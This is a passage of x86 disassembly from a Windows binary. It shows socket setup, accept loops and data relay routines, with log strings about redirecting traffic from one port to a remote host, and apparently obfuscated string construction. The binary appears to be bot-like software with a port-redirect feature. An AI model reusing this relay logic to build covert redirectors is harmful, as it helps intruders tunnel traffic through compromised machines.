ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42BDBA push eax push 4 push offset dword_4472FC push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020E0 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BED6: ; CODE XREF: sub_42BB00+47j cmp ax, 2 jnz loc_42BF63 mov ebx, dword_511C94 loc_42BEE6: ; CODE XREF: sub_42BB00+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C30 test edi, edi jz short loc_42BF63 cmp edi, 0FFFFFFFFh jz short loc_42BF63 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42BEE6 loc_42BF63: ; CODE XREF: sub_42BB00+67j ; sub_42BB00+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42BB00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_401F37j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42C0B4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42C0C6 dec eax jz short loc_42C0E8 mov word ptr [esi+6], 1 loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj mov eax, 1 mov ecx, 6 loc_42C0D0: ; CODE XREF: sub_42C0A0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42C0F4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42C0D0 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax call near ptr 71AB3E00h nop test eax, eax jz short loc_42C139 mov eax, [esi+32h] push eax call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C139: ; CODE XREF: sub_42C0A0+86j cmp word ptr [esi+6], 1 jnz short loc_42C161 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42C161 mov edx, [esi+32h] push edx call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C161: ; CODE XREF: sub_42C0A0+9Ej ; sub_42C0A0+AEj mov al, 1 pop esi add esp, 10h retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1B0 proc near ; CODE XREF: sub_401DD4j var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42C1B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42C24A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42C231 mov ebx, dword_511C98 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42C216 loc_42C202: ; CODE XREF: sub_42C1B0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42C202 loc_42C216: ; CODE XREF: sub_42C1B0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42C26A loc_42C231: ; CODE XREF: sub_42C1B0+39j ; sub_42C1B0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42C244: ; DATA XREF: ___:00442FACo mov eax, offset loc_42C231 retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj cmp ax, 2 jnz short loc_42C231 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42C231 loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42C1B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: ___:00401F96j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43CEB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42C309: ; DATA XREF: ___:loc_42C321o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C321: ; DATA XREF: ___:0044300Co mov eax, offset loc_42C309 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C350 proc near ; CODE XREF: sub_401C2Bj var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42C350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42C3C7 loc_42C387: ; CODE XREF: ___:0042C456j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42C3C7: ; CODE XREF: sub_42C350+35j push 42h call sub_437AEA sub_42C350 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42C3EC push 1 mov ecx, eax call sub_4014F1 jmp short loc_42C3EE ; --------------------------------------------------------------------------- loc_42C3EC: ; CODE XREF: ___:0042C3DFj xor eax, eax loc_42C3EE: ; CODE XREF: ___:0042C3EAj mov dword_5103B4, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_5103B4 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40202C lea eax, [esp+1C0h] push eax mov eax, dword_5103B4 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40202C mov eax, dword_5103B4 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F37 test al, al jz loc_42C387 loc_42C45C: ; CODE XREF: ___:0042C46Dj mov eax, dword_5103B4 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DD4 jmp short loc_42C45C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4C0 proc near ; CODE XREF: sub_4014F1j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42C4E2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43F190 call sub_4014B5 loc_42C4E2: ; CODE XREF: sub_42C4C0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43F18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42C4C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C530 proc near ; CODE XREF: sub_4014B5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C530 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_40142E lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C5C0 proc near ; CODE XREF: sub_4020EFj ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42C5C0 endp ; --------------------------------------------------------------------------- align 10h loc_42C5D0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43CF28 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401FA0 push offset off_444D64 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43F1A0 call sub_4015E1 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42C658 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C658: ; CODE XREF: sub_42C640+Dj mov eax, esi pop esi retn 4 sub_42C640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C670 proc near ; CODE XREF: sub_4011BDj jmp sub_4017A8 sub_42C670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C690: ; CODE XREF: ___:loc_40134Dj mov eax, 1000h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42C71C mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C6BC: ; CODE XREF: ___:0042C71Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+18h] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42C6BC loc_42C71C: ; CODE XREF: ___:0042C6AEj ; ___:0042C6E5j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42C738 push eax call near ptr 71AB9639h nop loc_42C738: ; CODE XREF: ___:0042C72Fj add esp, 1000h retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C770 proc near ; CODE XREF: sub_40166Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_444D64 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F1B0 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C770 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42C7F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj mov eax, esi pop esi retn 4 sub_42C7E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C810 proc near ; CODE XREF: sub_401217j jmp sub_4017A8 sub_42C810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C830 proc near ; CODE XREF: sub_401537j var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42C9FA mov ebx, 1 push 6 push ebx push 2 nop call near ptr 71AB3B91h cmp eax, edi mov [esi+0A5h], eax jnz short loc_42C888 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C888: ; CODE XREF: sub_42C830+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx call near ptr 71AB2B66h nop lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42C8E2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C8E2: ; CODE XREF: sub_42C830+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42C912 mov eax, [esi+0A5h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: sub_42C830+C8j mov edx, [esi+0A1h] mov edi, dword_511CAC lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42C9FA mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C966: ; CODE XREF: sub_42C830+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C990 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C990: ; CODE XREF: sub_42C830+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C9CB call near ptr 71AB94DCh nop cmp eax, 2733h jnz short loc_42C9F2 loc_42C9CB: ; CODE XREF: sub_42C830+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42C966 jmp short loc_42C9FA ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C830+15Ej ; sub_42C830+199j push 0Ah nop call near ptr 2850000h loc_42C9FA: ; CODE XREF: sub_42C830+27j ; sub_42C830+124j ... mov eax, [esi+0A1h] mov edi, dword_511C9C cmp eax, 0FFFFFFFFh jz short loc_42CA0E push eax call edi ; closesocket loc_42CA0E: ; CODE XREF: sub_42C830+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42CA1C push esi call edi ; closesocket loc_42CA1C: ; CODE XREF: sub_42C830+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42C830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 68h ; h db 0CFh ; о db 43h ; C db 0 db 64h ; d db 0A1h ; ║ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ┴ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ▀ db 0F1h ; Я db 89h ; ┴ db 74h ; t db 24h ; $ db 4 db 0E8h ; Х db 0CEh ; н db 54h ; T db 0FDh ; Щ db 0FFh db 68h ; h db 64h ; d db 4Dh ; M db 44h ; D db 0 db 8Dh ; █ db 4Eh ; N db 11h db 0C7h ; г db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; г db 6 db 0C0h ; ю db 0F1h ; Я db 43h ; C db 0 db 0E8h ; Х db 0F4h ; Т db 4Ah ; J db 0FDh ; Щ db 0FFh db 8Bh ; ▀ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ▀ db 0C6h ; ф db 5Eh ; ^ db 64h ; d db 89h ; ┴ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ┐ db 0C4h ; д db 10h db 0C3h ; ц db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB20: ; CODE XREF: ___:loc_4015FAj ; ___:00401FC8j push esi mov esi, ecx call sub_401B9F test byte ptr [esp+8], 1 jz short loc_42CB38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42CB38: ; CODE XREF: ___:0042CB2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CB50 proc near ; CODE XREF: sub_401B9Fj jmp sub_4017A8 sub_42CB50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CB70 proc near ; CODE XREF: sub_4019F1j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42CB70 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017EE mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017EE push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014DD mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 24h push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42CDA8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42CC5B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: sub_42CB70+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42CD54 loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz loc_42CD35 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42CD35 xor edi, edi cmp ebp, edi jz loc_42CD35 push 0A9h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42CCD5 mov ecx, eax call sub_40166D mov edi, eax loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FDC lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FDC mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013DE loc_42CD35: ; CODE XREF: sub_42CB70+111j ; sub_42CB70+133j ... push 0FAh nop call near ptr 2850000h mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42CC6F loc_42CD54: ; CODE XREF: sub_42CB70+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42CD66 push eax nop call near ptr 71AB9639h loc_42CD66: ; CODE XREF: sub_42CB70+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017EE push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 24h loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42CB70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42CE60 proc near ; CODE XREF: sub_402202j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42CE60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019C4 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_42CE60 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019C4 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019C4 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019C4 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 0EAh push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D150: ; CODE XREF: ___:loc_40204Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43D0A4 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42D2B7 push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h db 41h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42D2B7: ; 